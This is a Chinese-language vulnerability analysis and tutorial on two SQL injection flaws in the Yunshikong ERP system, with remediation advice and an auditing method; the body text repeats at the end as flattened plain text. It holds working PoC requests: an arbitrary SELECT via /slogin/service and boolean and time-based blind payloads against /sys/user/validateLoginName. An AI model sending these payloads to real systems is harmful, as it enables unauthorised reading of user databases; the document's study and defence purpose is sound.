云时空ERP系统多个SQL注入漏洞分析
字数 1517 2025-08-23 18:31:18

云时空ERP系统SQL注入漏洞分析教学文档

1. 系统鉴权机制分析

1.1 Shiro框架配置

  • 系统使用Apache Shiro进行权限控制
  • 配置位于spring-context-shiro.xml文件中
  • 定义了一个名为shiroFilterChainDefinitions的String类型bean
  • 配置格式:pattern = filterName(Ant风格路径模式 = 过滤器名称)
  • anon过滤器表示匿名访问,无需认证授权

1.2 未授权接口发现方法

  1. 检查shiroFilterChainDefinitions配置中标记为anon的接口
  2. 结合web.xml文件中的servlet配置定位具体实现代码
  3. 重点关注匿名访问接口的安全风险

2. 第一个SQL注入漏洞分析:/slogin/service接口

2.1 接口配置

  • 匿名访问配置:/slogin/service* = anon
  • 对应servlet类:LoginServiceDispatcher(继承自HttpServlet

2.2 漏洞代码分析

  1. 处理流程:

    • 重写service方法处理HTTP请求
    • 从请求头获取"service"参数
    • 检查参数不为空
    • 根据参数值调用DBServiceImpl的不同方法
  2. SQL注入点:

    • service参数为"db.select"时调用select方法
    • 方法流程:
      JSONObject paramJSONObject = FormUtils.toJsonParam(request);
      String sql = paramJSONObject.getString("sql");
      if (sqlSELECT查询) {
          rs = db.getStatement().executeQuery(sql); // 直接执行未过滤的SQL
      }
      
    • 直接使用来自请求的SQL语句执行查询,无任何过滤

2.3 漏洞利用

  • 构造POC:
    POST /slogin/service HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    service=db.select&params={"sql":"SELECT * FROM sys_user WHERE 1=1"}
    
  • 可执行任意SELECT查询,获取数据库敏感信息

3. 第二个SQL注入漏洞分析:/sys/user/validateLoginName接口

3.1 接口配置

  • 匿名访问配置:/sys/user/validateLoginName = anon
  • 使用Spring MVC框架
  • 对应控制器方法:
    @RequestMapping("/validateLoginName")
    public boolean validateLoginName(String loginName) {
        return userDao.findUniqueByProperty("login_name", loginName) == null;
    }
    

3.2 MyBatis映射分析

  1. userDao.xml中的SQL定义:
    <select id="findUniqueByProperty" resultType="User" statementType="STATEMENT">
        select * from sys_user where ${propertyName} = '${value}' AND del_flag = '0'
    </select>
    
  2. 问题点:
    • 使用${value}直接拼接SQL参数(而非预编译的#{value}
    • statementType="STATEMENT"表示使用普通语句而非预编译

3.3 漏洞利用

  • 由于返回类型为boolean,属于盲注场景
  • 布尔盲注POC:
    GET /sys/user/validateLoginName?loginName=admin' AND (SELECT COUNT(*) FROM sys_user) > 0 -- HTTP/1.1
    
  • 时间盲注POC:
    GET /sys/user/validateLoginName?loginName=admin' AND IF(1=1,SLEEP(5),0) -- HTTP/1.1
    

4. 漏洞修复建议

4.1 /slogin/service接口修复

  1. 使用预编译语句:
    PreparedStatement stmt = conn.prepareStatement("SELECT * FROM table WHERE id = ?");
    stmt.setString(1, param);
    
  2. 限制SQL语句只能为简单查询,禁止多语句执行
  3. 对输入参数进行严格白名单过滤

4.2 /sys/user/validateLoginName接口修复

  1. 修改MyBatis映射使用预编译:
    <select id="findUniqueByProperty" resultType="User">
        select * from sys_user where ${propertyName} = #{value} AND del_flag = '0'
    </select>
    
  2. 对于动态列名(propertyName):
    • 使用白名单验证
    • 或改为固定列名+条件判断

4.3 通用建议

  1. 最小权限原则:数据库连接使用最低必要权限账户
  2. 输入验证:对所有用户输入进行严格验证和过滤
  3. 移除不必要的匿名访问接口
  4. 定期安全审计:检查所有SQL执行点

5. 漏洞挖掘方法论

  1. 权限配置审计:

    • 检查Shiro/Spring Security配置
    • 识别所有匿名访问接口
  2. 代码审计要点:

    • 搜索executeQueryexecute等SQL执行方法
    • 检查MyBatis中${}的使用
    • 查找动态SQL拼接点
  3. 接口测试方法:

    • 对每个接收参数的接口测试注入可能性
    • 特别关注返回boolean/int的接口(盲注场景)
  4. 工具辅助:

    • 使用SQLMap等工具自动化检测
    • 代码静态分析工具扫描潜在漏洞

本教学文档详细分析了云时空ERP系统中的两处SQL注入漏洞,从配置到代码实现,再到漏洞利用和修复方案,提供了完整的学习路径和实践指导。

云时空ERP系统SQL注入漏洞分析教学文档 1. 系统鉴权机制分析 1.1 Shiro框架配置 系统使用Apache Shiro进行权限控制 配置位于 spring-context-shiro.xml 文件中 定义了一个名为 shiroFilterChainDefinitions 的String类型bean 配置格式: pattern = filterName (Ant风格路径模式 = 过滤器名称) anon 过滤器表示匿名访问,无需认证授权 1.2 未授权接口发现方法 检查 shiroFilterChainDefinitions 配置中标记为 anon 的接口 结合 web.xml 文件中的servlet配置定位具体实现代码 重点关注匿名访问接口的安全风险 2. 第一个SQL注入漏洞分析:/slogin/service接口 2.1 接口配置 匿名访问配置: /slogin/service* = anon 对应servlet类: LoginServiceDispatcher (继承自 HttpServlet ) 2.2 漏洞代码分析 处理流程: 重写 service 方法处理HTTP请求 从请求头获取"service"参数 检查参数不为空 根据参数值调用 DBServiceImpl 的不同方法 SQL注入点: 当 service 参数为"db.select"时调用 select 方法 方法流程: 直接使用来自请求的SQL语句执行查询,无任何过滤 2.3 漏洞利用 构造POC: 可执行任意SELECT查询,获取数据库敏感信息 3. 第二个SQL注入漏洞分析:/sys/user/validateLoginName接口 3.1 接口配置 匿名访问配置: /sys/user/validateLoginName = anon 使用Spring MVC框架 对应控制器方法: 3.2 MyBatis映射分析 userDao.xml 中的SQL定义: 问题点: 使用 ${value} 直接拼接SQL参数(而非预编译的 #{value} ) statementType="STATEMENT" 表示使用普通语句而非预编译 3.3 漏洞利用 由于返回类型为boolean,属于盲注场景 布尔盲注POC: 时间盲注POC: 4. 漏洞修复建议 4.1 /slogin/service接口修复 使用预编译语句: 限制SQL语句只能为简单查询,禁止多语句执行 对输入参数进行严格白名单过滤 4.2 /sys/user/validateLoginName接口修复 修改MyBatis映射使用预编译: 对于动态列名(propertyName): 使用白名单验证 或改为固定列名+条件判断 4.3 通用建议 最小权限原则:数据库连接使用最低必要权限账户 输入验证:对所有用户输入进行严格验证和过滤 移除不必要的匿名访问接口 定期安全审计:检查所有SQL执行点 5. 漏洞挖掘方法论 权限配置审计: 检查Shiro/Spring Security配置 识别所有匿名访问接口 代码审计要点: 搜索 executeQuery 、 execute 等SQL执行方法 检查MyBatis中 ${} 的使用 查找动态SQL拼接点 接口测试方法: 对每个接收参数的接口测试注入可能性 特别关注返回boolean/int的接口(盲注场景) 工具辅助: 使用SQLMap等工具自动化检测 代码静态分析工具扫描潜在漏洞 本教学文档详细分析了云时空ERP系统中的两处SQL注入漏洞,从配置到代码实现,再到漏洞利用和修复方案,提供了完整的学习路径和实践指导。